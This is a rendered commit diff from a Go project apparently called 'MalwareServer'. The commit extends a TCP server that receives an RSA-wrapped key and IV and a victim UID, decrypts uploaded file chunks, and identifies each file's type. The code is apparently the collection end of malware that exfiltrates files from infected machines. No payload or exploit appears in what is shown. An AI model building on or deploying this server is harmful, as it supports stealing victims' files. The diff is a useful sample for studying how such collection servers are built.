Make server get filetype and identify file
This commit is contained in:
		
							
								
								
									
										2
									
								
								go.mod
									
									
									
									
									
								
							
							
						
						
									
										2
									
								
								go.mod
									
									
									
									
									
								
							@@ -1,3 +1,5 @@
 | 
				
			|||||||
module MalwareServer
 | 
					module MalwareServer
 | 
				
			||||||
 | 
					
 | 
				
			||||||
go 1.22.2
 | 
					go 1.22.2
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					require github.com/liamg/magic v0.0.1 // indirect
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										22
									
								
								rsaserver.go
									
									
									
									
									
								
							
							
						
						
									
										22
									
								
								rsaserver.go
									
									
									
									
									
								
							@@ -13,6 +13,7 @@ import (
 | 
				
			|||||||
    "io/ioutil"
 | 
					    "io/ioutil"
 | 
				
			||||||
	"log"
 | 
						"log"
 | 
				
			||||||
	"net"
 | 
						"net"
 | 
				
			||||||
 | 
						"github.com/liamg/magic"
 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func main() {
 | 
					func main() {
 | 
				
			||||||
@@ -65,6 +66,10 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
 | 
				
			|||||||
    iv, _ := decryptKeyIV(ivData,privateKey)
 | 
					    iv, _ := decryptKeyIV(ivData,privateKey)
 | 
				
			||||||
    conn.Write([]byte("Received IV\n"))
 | 
					    conn.Write([]byte("Received IV\n"))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    uidData, _ := bufio.NewReader(conn).ReadString('\n')
 | 
				
			||||||
 | 
					    uid, _ := decryptKeyIV(uidData,privateKey)
 | 
				
			||||||
 | 
					    conn.Write([]byte("Received UID\n"))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    var ciphertext []byte
 | 
					    var ciphertext []byte
 | 
				
			||||||
    var chunk string
 | 
					    var chunk string
 | 
				
			||||||
    var plaintext []byte
 | 
					    var plaintext []byte
 | 
				
			||||||
@@ -91,7 +96,7 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
 | 
				
			|||||||
        conn.Write([]byte("Received and decrypted chunk\n"))
 | 
					        conn.Write([]byte("Received and decrypted chunk\n"))
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fmt.Println("Decrypted text:", string(plaintext))
 | 
					    handleDecrypted(plaintext, uid)
 | 
				
			||||||
    conn.Write([]byte("Ready for next operation\n"))
 | 
					    conn.Write([]byte("Ready for next operation\n"))
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@@ -172,3 +177,18 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
 | 
				
			|||||||
    decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
 | 
					    decodedKey, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedMessage)))
 | 
				
			||||||
    return decodedKey, err
 | 
					    return decodedKey, err
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
				
			||||||
 | 
						data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
 | 
				
			||||||
 | 
						fileType, err := magic.Lookup(data)
 | 
				
			||||||
 | 
					    	if err != nil {
 | 
				
			||||||
 | 
					        	if err == magic.ErrUnknown {
 | 
				
			||||||
 | 
						            	fmt.Println("File type is unknown")
 | 
				
			||||||
 | 
					        	}else{
 | 
				
			||||||
 | 
					        	    	panic(err)
 | 
				
			||||||
 | 
					        	}
 | 
				
			||||||
 | 
					    	}
 | 
				
			||||||
 | 
						fmt.Printf("UID:		   %s\n", string(uidB))	
 | 
				
			||||||
 | 
					    	fmt.Printf("File extension:        %s\n", fileType.Extension)
 | 
				
			||||||
 | 
					    	fmt.Printf("File type description: %s\n", fileType.Description)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user